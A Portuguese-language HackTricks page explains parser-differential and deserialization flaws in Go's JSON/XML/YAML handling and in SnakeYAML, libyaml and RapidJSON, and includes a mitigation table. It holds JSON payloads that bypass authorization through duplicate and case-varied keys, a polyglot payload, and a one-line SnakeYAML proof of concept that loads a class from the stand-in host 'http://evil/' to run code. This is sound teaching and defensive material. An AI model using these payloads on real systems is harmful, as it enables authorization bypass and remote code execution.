JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Go JSON Decoder
Os seguintes problemas foram detectados no Go JSON, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em este post no blog.
Os parsers JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para burlar a autenticação, escalar privilégios ou exfiltrar dados sensíveis.
(Un)Marshaling Dados Inesperados
O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, IsAdmin
, Password
).
- Exemplo de Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Vulnerabilidades Comuns
- Tag ausente (sem tag = campo ainda é analisado por padrão):
type User struct {
Username string
}
Carga útil:
{"Username": "admin"}
- Uso incorreto de
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Carga útil:
{"-": true}
✔️ Maneira adequada de bloquear campo de ser (des)serializado:
type User struct {
IsAdmin bool `json:"-"`
}
Diferenças de Parser
O objetivo é contornar a autorização explorando como diferentes parsers interpretam a mesma carga útil de maneira diferente, como em:
- CVE-2017-12635: contorno do Apache CouchDB via chaves duplicadas
- 2022: RCE 0-click do Zoom via inconsistência do parser XML
- GitLab 2025 contorno SAML via peculiaridades do XML
1. Campos Duplicados:
O encoding/json
do Go pega o último campo.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Outros analisadores (por exemplo, Jackson do Java) podem levar o primeiro.
2. Insensibilidade a Maiúsculas e Minúsculas: Go é insensível a maiúsculas e minúsculas:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Até truques de Unicode funcionam:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Incompatibilidade entre serviços: Imagine:
- Proxy escrito em Go
- Serviço de AuthZ escrito em Python
O atacante envia:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python vê
UserAction
, permite - Go vê
AdminAction
, executa
Confusão de Formato de Dados (Poliglotas)
O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou falham abertamente em erros de parser, como:
- CVE-2020-16250: HashiCorp Vault analisou JSON com um parser XML após o STS retornar JSON em vez de XML.
O atacante controla:
- O cabeçalho
Accept: application/json
- Controle parcial do corpo JSON
O parser XML do Go analisou de qualquer forma e confiou na identidade injetada.
- Payload elaborado:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Resultado:
- Go JSON parser:
Action_2
(case-insensitive + last wins) - YAML parser:
Action_1
(case-sensitive) - XML parser: parses
"Action_3"
dentro da string
Vulnerabilidades Notáveis de Parser (2023-2025)
Os seguintes problemas publicamente exploráveis mostram que a análise insegura é um problema de múltiplas linguagens — não apenas um problema do Go.
Deserialização RCE do SnakeYAML (CVE-2022-1471)
- Afeta:
org.yaml:snakeyaml
< 2.0 (usado pelo Spring-Boot, Jenkins, etc.). - Causa raiz:
new Constructor()
deserializa classes Java arbitrárias, permitindo cadeias de gadgets que culminam em execução remota de código. - PoC de uma linha (abrirá a calculadora no host vulnerável):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Correção / Mitigação:
- Atualizar para ≥2.0 (usa
SafeLoader
por padrão). - Em versões mais antigas, use explicitamente
new Yaml(new SafeConstructor())
.
libyaml Double-Free (CVE-2024-35325)
- Afeta:
libyaml
≤0.2.5 (biblioteca C utilizada por muitas ligações de linguagem). - Problema: Chamar
yaml_event_delete()
duas vezes leva a um double-free que atacantes podem transformar em DoS ou, em alguns cenários, exploração de heap. - Status: Rejeitado upstream como “uso indevido da API”, mas distribuições Linux enviaram a versão corrigida 0.2.6 que libera defensivamente o ponteiro.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Afeta: Tencent RapidJSON antes do commit
8269bc2
(<1.1.0-patch-22). - Bug: Em
GenericReader::ParseNumber()
, a aritmética não verificada permite que atacantes criem literais numéricos enormes que se envolvem e corrompem o heap — permitindo, em última análise, a escalada de privilégios quando o gráfico de objetos resultante é usado para decisões de autorização.
🔐 Mitigações (Atualizado)
Risco | Correção / Recomendação |
---|---|
Campos desconhecidos (JSON) | decoder.DisallowUnknownFields() |
Campos duplicados (JSON) | ❌ Sem correção na stdlib — valide com jsoncheck |
Correspondência sem distinção de maiúsculas (Go) | ❌ Sem correção — valide tags de estrutura + pré-canonize a entrada |
Dados lixo XML / XXE | Use um parser endurecido (encoding/xml + DisallowDTD ) |
Chaves desconhecidas YAML | yaml.KnownFields(true) |
Desserialização YAML insegura | Use SafeConstructor / atualize para SnakeYAML ≥2.0 |
libyaml ≤0.2.5 double-free | Atualize para 0.2.6 ou versão corrigida da distro |
RapidJSON <commit corrigido | Compile contra a versão mais recente do RapidJSON (≥Julho 2024) |
Referências
- Baeldung – “Resolvendo CVE-2022-1471 Com SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.